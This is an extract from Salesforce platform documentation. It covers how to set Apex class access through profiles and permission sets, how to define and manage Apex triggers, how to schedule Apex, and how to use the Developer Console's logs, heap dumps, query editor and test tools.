You can specify which users can execute methods in a particular top-level Apex class based on their profile or an associated permission set. These permissions only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of a user's permissions. Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in that package that are declared as global, or for classes that contain methods declared as webService. If users have the Author Apex permission, they can access all Apex classes in the associated organization, regardless of the security setting for individual classes. Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. The controller associated with the custom component executes regardless of permissions. You can set Apex class security via: The Apex class list page An Apex class detail page Permission sets

2095

Develop

Apex Class Security Overview

Profiles

See Also:
Apex Code Overview Managing Apex Classes Visualforce Overview Developer's Guide: Force.com Apex Code Developer's Guide

Setting Apex Class Access from the Class List Page


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To set Apex class security: Author Apex AND Customize Application

1. Click Your Name > Setup > Develop > Apex Classes. 2. Next to the name of the class that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 4. Click Save.

See Also:
Apex Class Security Overview

2096

Develop

Apex Class Security Overview

Setting Apex Class Access from the Class Detail Page


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To set Apex class security: Author Apex AND Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Develop > Apex Classes. Click the name of the class that you want to restrict. Click Security. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save.

See Also:
Apex Class Security Overview

Setting Apex Class Access from Permission Sets


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To edit Apex class access settings: Manage Users

You can specify which methods in a top-level Apex class are executable for a permission set. These settings only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of permission settings. 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set. Click Apex Class Access. Click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.

2097

Develop

Apex Class Security Overview

6. Click Save.

See Also:
Apex Class Security Overview Permission Sets Overview

Setting Apex Class Access from Profiles


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To edit profiles: Manage Users

You can specify which methods in a top-level Apex class are executable for a profile. These settings only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of profile settings. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles. Select a profile. In the Apex Class Access page or related list, click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 5. Click Save.

See Also:
Apex Class Security Overview User Profiles Overview

2098

Develop

Defining Apex Triggers

Defining Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions Standard Objects, Campaigns, Cases, and Emails are not available in Database.com.

User Permissions Needed To define Apex triggers: Author Apex

Apex triggers are stored as metadata in the application under the object with which they are associated. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To define a trigger: 1. For a standard object, click Your Name > Setup > Customize, click the name of the object, then click Triggers. For a custom object, click Your Name > Setup > Create > Objects and click the name of the object. For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Triggers. For case comments, click Your Name > Setup > Customize > Cases > Case Comments > Triggers. For email messages, click Your Name > Setup > Customize > Cases > Email Messages > Triggers. For the Attachment, ContentDocument, and Note standard objects, you cant create a trigger in the Salesforce user interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE. Alternatively, you can also use the Metadata API. 2. In the Triggers related list, click New. 3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default. 5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length. To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

2099

Develop

Defining Apex Triggers

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert after update after delete after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

6. Click Save. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

See Also:
Apex Code Overview Managing Apex Triggers Managing Version Settings for Apex Using the Editor for Visualforce or Apex Developer's Guide: Force.com Apex Code Developer's Guide

2100

Develop

Managing Apex Triggers

Managing Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, and show dependencies for Apex triggers: Author Apex

A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects, triggers are located at Your Name > Setup > Customize > Standard_Object_Name > Triggers, and on the object detail page for custom objects at Your Name > Setup > Create > Objects > Custom_Object_Name. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 2036. Click New to create an Apex trigger. Note: You can only create triggers from the associated object, not from the Apex Triggers page.

Once you have created an Apex trigger: Click Edit next to the trigger name to modify its contents in a simple editor. Click Del next to the trigger name to delete the trigger from your organization. Click the percentage number in the Code Coverage column to see which lines in a trigger have been covered by Apex unit tests. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in a managed package.

2101

Develop

Viewing Apex Trigger Details

A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting Components from Managed Packages. on page 2049

See Also:
Apex Code Overview Defining Apex Triggers Viewing Apex Trigger Details Understanding Dependencies Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Trigger Details


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To view Apex triggers: Author Apex

Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all triggers by clicking Your Name > Setup > Develop > Apex Triggers. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To view the details for a trigger, click Your Name > Setup > Develop > Apex Triggers, then click the name of the trigger. You can also access the trigger details from the object. For a standard object, click Your Name > Setup > Customize, click the name of the object, click Triggers, then click the name of the trigger. For a custom object, click Your Name > Setup > Create > Objects, click the name of the object, then click the name of the trigger. From the trigger detail page, you can do any of the following: Click Edit to modify the contents of the trigger. Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in a managed package. Click Delete to delete the trigger from your organization. Click Show Dependencies to display the items, such as fields, s-controls, or classes, that are referenced by the Apex code contained in the trigger.

2102

Develop

Scheduling Apex

Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name, with the filetype of .trg.

The trigger detail page shows the following information for a trigger: The name of the trigger The name of the object with which the trigger is associated, such as Account or Case. The API version that the trigger has been saved against. Whether a trigger is valid. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. Whether the trigger is active. The text of the Apex code contained in the trigger. If trigger references components in installed managed packages, such as an Apex class, a Visualforce page, a custom object, and so on, the Version Settings section lists the package versions of the packages containing the referenced components. If the trigger is contained in an installed managed package, the Installed Package indicates the package name.

The Log Filters tab displays the debug log categories and debug log levels that you can set for the trigger. For more information, see Debug Log Filtering for Apex Classes and Apex Triggers on page 2159.

See Also:
Apex Code Overview Managing Apex Triggers Defining Apex Triggers About Package Versions Managing Version Settings for Apex Developer's Guide: Force.com Apex Code Developer's Guide

Scheduling Apex
Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job using the Salesforce user interface. The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more information about class permissions, see Apex Class Security Overview on page 2095.

2103

Develop

Working with the Developer Console

Important: Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. To schedule jobs using the Apex scheduler: 1. 2. 3. 4. Implement the Schedulable interface in an Apex class that instantiates the class you want to run. Click Your Name > Setup > Develop > Apex Classes and click Schedule Apex. Specify the name of a class that you want to schedule. Specify how often the Apex class is to run. For Weeklyspecify one or more days of the week the job is to run (such as Monday and Wednesday). For Monthlyspecify either the date the job is to run or the day (such as the second Saturday of every month.)

5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once. 6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time. 7. Click Save. Note: You can only have 25 active or scheduled jobs concurrently.

After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page. Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process, the number of records process, and so on) on the Apex Jobs page.

See Also:
Apex Code Overview Defining Apex Classes Monitoring the Apex Job Queue Developer's Guide: Force.com Apex Code Developer's Guide

Working with the Developer Console


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: To save changes to Visualforce pages and components: View All Data Author Apex Author Apex Customize Application

The Developer Console is a collection of tools you can use to create, debug, and test applications in your Salesforce organization.

2104

Develop

Working with the Developer Console

To open the Developer Console, click Your Name > Developer Console. Developer Console User Interface Overview Executing Anonymous Apex Code Developer Console Tools Examples of Using the Developer Console Tip: Watch the video Using the Developer Console to Edit, Execute, and Debug Apex Classes to learn how to open and navigate through Apex classes, execute Apex code, verify code performance, and generate a heap dump to inspect objects in memory.

What Can You Use the Developer Console For?


Use the Developer Console for many of your development tasks: Debugging and Troubleshooting Use the Logs Tab to view a list of logs. Open the logs in a System Log view. A System Log view is a context-sensitive execution viewer that shows the source of an operation, what triggered that operation, and what occurred afterward. You can use this view to inspect debug logs that include database events, Apex processing, workflow, and validation logic. The Developer Console provides a convenient set of tools to efficiently track down logical issues. For example, if you want to understand why a certain request generates an Attempt to de-reference a null object error, you can review the execution, identify the offending logic, and set a heap dump capture marker at that point. You can then execute the process again, and inspect the request at that specific point in the execution to understand in detail how to improve your code. While the Developer Console can't pause execution like a traditional debugger, it provides cloud developers much of the same visibility, and reduces the need to instrument code with System.debug commands. Editing and Navigating Source Code Use the Repository Tab to browse, open, and create new source code files. Open a working set of Source Code views and switch between them with a single click. You can open and edit Apex triggers, classes, and Visualforce pages and components, and you can open a read-only view of your object definitions. You can also navigate the contents of packages created in your organization. Note: You cannot use the Developer Console to edit and save Apex classes in a production organization. You can set heap dump markers and view heap dumps in a production organization. Validating Performance The System Log view has a number of panels dedicated to analyzing performance. Open a debug log and view the aggregated performance of an operation in the Performance Tree. Review the Executed Units tab, which breaks up the request both by time and type. This tab categorizes the timings by methods, queries, workflows, callouts, DML, validations, triggers, and pages, which gives you a clear idea of where to find performance issues. Use the Timeline tab to see a timeline view of the overall request. Within this view, you can review each of the timeline blocks, which interactively filters the corresponding log, allowing you to walk through the events for a given block. The Limits panel provides a summary view of resources used and maps them against your allocated request limits. Testing Apex To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. Use the Tests tool in the Developer Console to run Apex tests and check code coverage. Editing SOQL Queries

2105

Develop

Developer Console User Interface Overview

Use the Query Editor tool to query data from your organization. View query results in a Query Results view. You can also create, update, and delete data in a Query Results view.

See Also:
Developer's Guide: Force.com Apex Code Developer's Guide

Developer Console User Interface Overview


The Developer Console contains tools for coding, debugging, and testing applications. Each tool has a tab in the top section of the Developer Console that you use to create or open resources. Resources open in a view, which is a tab in the lower section of the Developer Console. Each tool has its own view.

The Developer Console is organized into the following sections: 1. 2. 3. 4. A global toolbar. A navigation panel for creating and opening resources. Each tab in the navigation panel is a Developer Console tool. A workspace for working with resources. Each tab in the workspace is called a view. A Problems panel.

Global toolbar
Use the global toolbar to perform the following tasks: Navigate through your view history.

2106

Develop

Executing Anonymous Apex Code

Execute anonymous Apex. Save changes in source code files that have dependencies. Create, delete, and switch workspaces.

After twenty minutes of inactivity, the Developer Console stops polling for new logs, test runs, and heap dumps. To resume updates, click Resume Updates in the global toolbar. The Resume Updates button appears only when the Developer Console stops polling.

Navigation panel
Use the tools tabs in the navigation panel to create or open a resource. After you select a resource, you can collapse the navigation panel and some subpanels of different detail views using the allow a larger viewing area for items being examined. , , , or button in the top right corner of the panel, to

When collapsed, you can click a panel to temporarily reveal and use it. When your cursor moves out of the panel, it collapses automatically.

Workspace
A workspace is a collection of views located in the lower panel of the Developer Console. Each view is a tab in the workspace. A view can contain any resource you open from a Developer Console tool. For example, source code opens in a Source Code view (which is a code editor); a debug log opens in a System Log view, and so on. You can create a workspace for each group of views that you use together. Then, while youre working in the Developer Console, switch between workspaces to keep your work organized. For example, the Apex Workbook creates and edits the classes KitchenUtility, Fridge, and Toaster. While working on the Apex Workbook, you can create a workspace called Apex Workbook Source for these classes. You can then create a workspace called Apex Workbook Test for the debug logs. Switch between the workspaces as you code and test.

Problems panel
Changes you make in a Source Code view are validated in the background. While youre editing code, an error indicator displays beside lines that contain errors. The Problems panel shows the details of the compilation errors.

Keyboard shortcuts
To see a list of Developer Console keyboard shortcuts, click Workspace: Workspace Name > Shortcut Keys or press CTRL+SHIFT+?.

See Also:
Working with Views in the Developer Console Developer Console Tools Working with the Developer Console

Executing Anonymous Apex Code


You can run Apex code in the Developer Console to generate debug logs that cover specific application logic. This Apex code runs as if you had executed it using ExecuteAnonymous. A debug log with the results of the execution appears in the Logs list. To analyze the log, open it in System Log view.

2107

Develop

Executing Anonymous Apex Code

The code in the Execute Anonymous window is saved when you close the Developer Console. Warning: If you call a class that contains a testMethod, all DML statements of the test method execute. This action can add unwanted data to your organization. 1. Click the Execute text box

The Enter Apex Code window opens.

2. Enter code in the popup code editor. 3. You can also click to open an execute anonymous code editor in a new browser window.

Note: You can't use the keyword static in anonymous code.

2108

Develop

Developer Console Tools

4. After the code executes, the system generates a debug log. To automatically open the log in System Log View, select Open Log. Otherwise, after the code executes, click the Logs tab and browse to the log to open it in System Log View. 5. To execute code, do one of the following: a. To execute all the code in the window, click Execute or CTRL+E. b. To execute selected lines of code, select the lines and click Execute Highlighted.

See Also:
System Log View Logs Tab Developer Console Tools

Developer Console Tools


LogsOpen debug logs and capture new logs from actions you take in your organization. Work with logs in a System Log View. Heap DumpsView the location of heap dump markers in your code, overlay Apex code and SOQL statements on heap dump markers, and open heap dumps. Heap dumps are snapshots of the objects in memory at a state of execution. Inspect heap dumps in a Heap Dump Inspector View. RepositoryOpen objects, Apex classes, triggers, Visualforce pages, and so on. Edit code in a Source Code View. TestsCreate test runs, verify their success, and see your code coverage. Query EditorUse the Query Editor in the Developer Console to query data from your organization.View query results in a Query Results view. You can also create, update, and delete data in a Query Results view.

See Also:
Developer Console User Interface Overview Examples of Using the Developer Console Working with the Developer Console

Logs Tab
Use the Logs tab in the Developer Console to open debug logs that include database events, Apex processing, workflow, callouts, and validation logic. To open a log, double-click it, or select it and click Open. The log opens in a new System Log tab in the workspace. The Developer Console automatically polls for the current users debug logs. After opening the Developer Console and clicking the Logs tab, run something that generates a debug log. For example, if you have validation rules associated with inserting a new record, insert a new record. The Developer Console automatically captures a debug log for the request and adds it to the logs list. Note: To log a users actions in a Debug Log, click Setup > Monitoring > Debug Logs in Salesforce to turn on debug logging for that user.

2109

Develop

Developer Console Tools

To learn more about using the System Log view to review a debug log, evaluate Apex code, track DML, or monitor performance, see System Log View on page 2124. List of Debug Logs

1. 2. 3. 4.

Click Open to open the selected log in a new System Log view. Click Open Raw Log to open the selected log in a plain text view that displays the unformatted contents of the debug log. Click Download Log to download the selected log. Click Auto Hide Logs to automatically hide all existing logs the next time the page is refreshed. This button is a toggle: click the button a second time to display all logs. 5. Click Clear to remove all logs from the list. Tip: If you are monitoring debug logs for a user, those logs are still accessible from the Debug Log page. Click Your Name > Setup > Monitoring > Debug Logs. 6. Select This Session Only to display only logs generated by you since opening the Developer Console. Deselect to see all debug logs currently saved for your organization, including those created by monitoring users. 7. Click Filter and type text to filter the visible logs. For example, if you want to see debug logs from a specific user, type that user's name. The filter is case-sensitive. Setting Logging Levels Select Workspace: Name > Log Levels to specify the logging levels for future requests. Logging levels determine how much request information is saved in a debug log. Parsing a large log can take a long time. To reduce the size of a log, adjust the logging level. Use verbose logging for code youre reviewing. Use terse logging for code youre not interested in. To generate heap dumps, set the Apex Code logging level to finer or finest. To fine-tune the log verbosity at the trigger and class level, you can set debug log filters for Apex classes and triggers. Important: If the Developer Console is open, the log levels in the Developer Console affect all logs, including logs created during a deployment. Before running a deployment, verify that the Apex Code log level is not set to FINEST, or the deployment might take longer than expected.

See Also:
System Log View What is a Debug Log? Monitoring Debug Logs Developer Console Tools

2110

Develop

Developer Console Tools

Searching a Debug Log


To search for text in a debug log, use the Command Line Window in the Developer Console. Before you can search a log, you must execute Apex statements to generate a log. 1. To open the Developer Console Command Line Window, choose Your Name > Developer Console and press CTRL+L. 2. To execute Apex code and generate a log, do one of the following: To enter Apex statements at the command-line, type exec <Apex statements>. For example, type:
exec List<Account> accts = new List<Account>(); for (Integer i=0; i<20; i++){ Account a = new Account(name='Account Name ' + i); accts.add(a); }

To execute code that already exists in the Execute Apex Code window, type exec -r.

3. To search for text in the debug log, type find <string>. For example, type find Account Name. View the search results in the command-line window. 4. To close the command-line, press CTRL+L.

See Also:
Developer Console Command Line Reference System Log View

Heap Dumps Tab


Use the Heap Dumps tab to browse and open heap dumps that preserve a snapshot of the state of objects in memory at the time of the capture You can have five heap dump locations at a time. To open a heap dump, double-click it. The heap dump opens in a new Heap Dump Inspector tab in the detail area.

To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code.

2111

Develop

Developer Console Tools

To learn more about some typical ways you might use a Heap Dump Inspector tab, for example to evaluate why a branch of execution is or isnt being taken or to verify the expected contents of a variable, see Heap Dump Inspector on page 2132. Heap dump locations persist until you click Clear or until you close the Developer Console. Heap Dumps List The Heap Dumps list contains the heap dumps currently available for review. Select This Session Only to only display heap dumps generated since opening the Developer Console. Deselect to display all heap dumps currently saved for your organization. Each heap dump in the list displays this information: Column Namespace Class Line Time Description The namespace of the package containing source code marked to capture this heap dump. The Apex class containing the source code marked to capture this heap dump. The source line number marked to capture this heap dump. The time this heap dump was recorded.

Tip: Right click any column header to sort the information in the column. You can also select which columns you want displayed in the Heap Dumps list.

Heap Dump Locations This is a list of the locations in source code where heap dumps are captured. Each item in the list displays this information: Column File Line Iteration Description The name of the Apex class that contains a marker to capture a heap dump. The line number marked to capture a heap dump. If the heap dump marker is in a loop, this value indicates the iteration at which the heap dump is captured.

By default the iteration is 1, which means that the heap dump is captured the first time the line of source code executes. You can double-click the iteration number and change it, for example, to investigate why a loop does not terminate when expected. Only one heap dump will be captured for a specific line of code, no matter how many times its executed during a request. For details about how to set new heap dump capture markers in your source code, see Source Code View on page 2133. Overlaying Apex Code and SOQL Statements When troubleshooting a runtime issue, you might want information about the state of a variable or the state of the database. You might also want to create a specific condition in which to test your code. Use the Developer Console to overlay a diagnostic output on the run without instrumenting the code. Write Apex code and SOQL statements that run when code at a heap dump location executes. 1. Select a heap dump location.

2112

Develop

Developer Console Tools

2. Click Edit Properties. 3. Select SOQL or Apex Code.

4. To run the diagnostic code without generating a heap dump, deselect Dump Heap. 5. Enter SOQL or Apex code in the script box and click OK. Note: You cant refer to local objects because an anonymous block is a new stack frame. Refer to static objects or create new objects. Also, you can't use bind variables in SOQL queries used in overlays. View the results of a SOQL query in Query Results view:

2113

Develop

Developer Console Tools

To create a new record for the outer entity of the select statement, click Create New. To open a records detail page in Salesforce, select the row and click Open Detail Page. To edit a record in Salesforce, select the row and click Edit Page. View Apex execution results in Apex Execution Results view:

Note: The value -1 for exceptionColumn and exceptionLine indicates that these fields are not applicable.

See Also:
Heap Dump Inspector View Developer Console Tools

Repository Tab
Use the Repository tab to browse to and open your application code and data objects. To navigate to an item: 1. In the Setup Entity Type column, click the type of the item you'd like to look at. 2. In the Entities column, scroll and find the item you'd like to examine. 3. Click the item once to see related items in the Related column. For example, click on an object to see the Apex classes that use it. 4. Double-click an item to open it in a new tab. You can also open an item by selecting it and clicking Open.

2114

Develop

Developer Console Tools

Note: Source code such as Apex classes, triggers, and Visualforce pages and components open in a Source Code editor, while objects open in a Schema Quick.

Repository Management and Filtering You can create new code such as Apex classes and triggers in the Repository browser. You can also open and close items, edit and save them, save changes across all tabs, and delete existing items.

1. NewCreates a new Apex class or trigger, or Visualforce page or component, depending on which entity type you have selected in the Setup list. To create a new Apex trigger, first select the object on which to create the trigger. 2. OpenOpens the selected item, an alternative to double-clicking. 3. Close AllCloses all tabs open in the detail area. If any tab contains unsaved changes, youll be prompted to save them. 4. Save AllSaves changes in all tabs open in your workspace. Use Save All to save a set of dependent changes. 5. DeleteDeletes the selected item. You can only delete Apex classes, triggers, and Visualforce pages. 6. You can filter which items are displayed in the Repository browser. Click the Filter text entry box and enter a text string to display only items that match the filter criteria. The search is case-sensitive. Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your Name > Setup > Create > Objects to work with your custom objects.

Browsing Packages in the Repository The Repository tab allows you to browse and open the contents of packages you have created in your organization. You can see the complete contents of packages, and open the Apex classes and triggers, Visualforce pages and components, and custom objects contained in a package. Other package items, such as custom fields, validation rules, and so on, can be seen in the list, but not viewed in detail. Unmanaged packages youve installed into your organization dont appear in the list of packages in the Repository tab, but you can see the entities in those packagesclasses, pages, components, and soin their respective entity type lists. You can open these items just like entities youve created yourself, and edit items that are of editable types (classes, pages, and so on).

2115

Develop

Developer Console Tools

Note: You cant view or edit the contents of managed packages youve installed into your organization.

See Also:
Source Code View Schema Quick View Understanding Dependencies Apex Code Overview Developer Console Tools

Working with the Query Editor


Use the Query Editor in the Developer Console to query data from your organization. View query results in a Query Results view. You can also create, update, and delete data in a Query Results view.

1. Query Editor 2. Query Results view Use the Query Editor to: Execute a SOQL query.

The results of a query display in a Query Results view. Use a Query Results view to: Edit records. Create records.

2116

Develop

Developer Console Tools

Delete records. Navigate to an objects Create, Detail, or Edit page in Salesforce.

See Also:
Developer Console Tools

Executing a SOQL Query


Use the Query Editor in the Developer Console to query data from your organization. 1. In the Developer Console, click the Query Editor tab. 2. Enter a SOQL query in the top pane of the Query Editor. 3. Click Execute. If the query generates errors, the errors display in the bottom pane of the Query Editor. The data displays in a Query Results view. 4. To rerun the query, click Refresh Grid. Warning: If you click Refresh Grid, data in a Query Results view that youve edited but havent saved is lost.

See Also:
Working with the Query Editor

Inserting Rows
You can create a record (insert a row) in the Object displayed in a Query Results view in the Developer Console. To insert a row and save it, the query results must contain all the required fields of the object and the required fields must be simple text or number fields. If these conditions arent true, a blank row is created but you cant save it. In this case, click Create New to create a new record in Salesforce. 1. In the Developer Console, click the Query Editor tab. 2. Execute a query that contains all the required fields of an object. 3. In the Query Results view, click Insert Row.

See Also:
Working with the Query Editor

2117

Develop

Developer Console Tools

Editing and Saving Rows


You can edit and save records (rows) in the Object displayed in a Query Results view in the Developer Console. 1. To edit a row in a Query Results view, double-click a field in the row and edit it. 2. To save modified rows to Salesforce, click Save Rows. Warning: If you click Refresh Grid, data in a Query Results view that youve edited but havent saved is lost.

See Also:
Working with the Query Editor

Deleting Rows
You can delete a record (row) in the Object displayed in a Query Results view in the Developer Console. 1. To delete a row, select it in the Query Results view. 2. Click Delete.

See Also:
Working with the Query Editor

Navigating to a Record in Salesforce


After executing a query, you can jump to the record in Salesforce. 1. Select a row in a Query Results view. 2. Click Create New, Open Detail Page, or Edit Page to jump to the record in Salesforce.

See Also:
Working with the Query Editor

Working with the Tests Tool


Testing is the key to successful long term development, and is a critical component of the development process. We strongly recommend that you use a test-driven development process, that is, test development that occurs at the same time as code development. Use the Tests tool in the Developer Console to create test runs, run tests, and check Apex code coverage.

2118

Develop

Developer Console Tools

Understanding Testing in Apex Unit Testing Apex Creating and Running Test Runs on page 2119 Checking Code Coverage on page 2120

See Also:
Developer Console Tools

Creating and Running Test Runs


A test run is a collection of classes that contain test methods. Run a test run to execute the test methods in the classes. 1. In the Developer Console, click the Tests tab. 2. Click New Run. Classes with test methods are listed in the Select Tests window.

3. To filter classes, type in the Filter box. 4. Select classes and click to move the classes to the Selected Test Classes pane.

To select multiple adjacent classes, select a single class and press the SHIFT key while you click the classes you want to select. To select nonadjacent classes, select a single class and press the CTRL key while you click the other classes you want to select. You can also click Select All. 5. When youve created a test run, click Run to queue and run the classes. Note: If your test methods call other methods or classes defined as tests in your organization, those methods and classes are also run. 6. To stop a test, click Abort.

2119

Develop

Developer Console Tools

7. In theTests tab, expand the test run to see the results for each method invoked by each class in the run. 8. The Overall Code Coverage pane displays the percentage of code coverage for each every class in your organization. The pane always displays the current percentage for every class. After you perform a test run, the pane also displays the overall percentage in bold. Note: Test classes dont require code coverage. Therefore, test classes show 0% coverage and dont affect the overall code coverage percentage. 9. Double-click the completed test run to open the results in a Tests view. The Tests view displays the tested class, the tested method, the duration, result (skip, pass, or fail), and an optional error message. If a test failed, a Stack Trace column shows the method and line number at which the test failed. 10. Select a Class in a Tests view to see the code coverage for each method invoked by the class in the Class Code Coverage pane.

See Also:
Working with the Tests Tool

Checking Code Coverage


To deploy Apex code to a production organization, 75% of the code must be covered by tests. Code coverage is the percentage of code covered by tests. The Developer Console retrieves and displays code coverage information from your organization. Code coverage results come from any tests youve run from an API or from a user interface (for example, the Developer Console, the Force.com IDE, or the Apex Test Execution page). When you edit a class, the code coverage for that class clears until you run the tests again. You can view code coverage in several places in the Developer Console.

2120

Develop

Developer Console Tools

1. Click the Tests tab. The Overall Code Coverage panel displays the code coverage percentage for every Apex class in your organization that has been included in a test run. It also displays the overall percentage. 2. Double-click a completed test run to open a Tests view. The Tests view displays the tested class, the tested method, the duration, result (skip, pass, or fail), and an optional error message. If the test failed, a Stack Trace column shows the method and line number at which the test failed. 3. Select a Class in a Tests view to see the code coverage for each method invoked by the class in the Class Code Coverage pane. 4. To view line-by-line code coverage for an Apex class, double-click the class in a Tests view or in the Repository tab to open it in a Source Code view. 5. From the Code Coverage menu, select one of the following:
Option None All Tests className.methodName Description No tests have been run. The percentage of code coverage from all test runs. The percentage of code coverage from a method executed during a test run.

Lines of code that are covered are blue. Lines of code that arent covered are red. Lines of code that dont require coverage (for example, curly brackets, comments, and System.debug calls) are left white.

6. When you edit class with code coverage, the blue and red dims to indicate that the coverage is no longer valid. When you edit and save a class, the coverage is removed for that class. In the Overall Code Coverage panel, the class name is marked with a small red triangle to indicate that it was edited since tests were run. To check coverage for that class, run the tests again.

2121

Develop

Working with Views in the Developer Console

See Also:
Working with the Tests Tool

Working with Views in the Developer Console


A workspace is a collection of views located in the lower panel of the Developer Console. Each view is a tab in the workspace. A view can contain any resource you open from a Developer Console tool. For example, source code opens in a Source Code view (which is a code editor); a debug log opens in a System Log view, and so on.

2122

Develop

Working with Views in the Developer Console

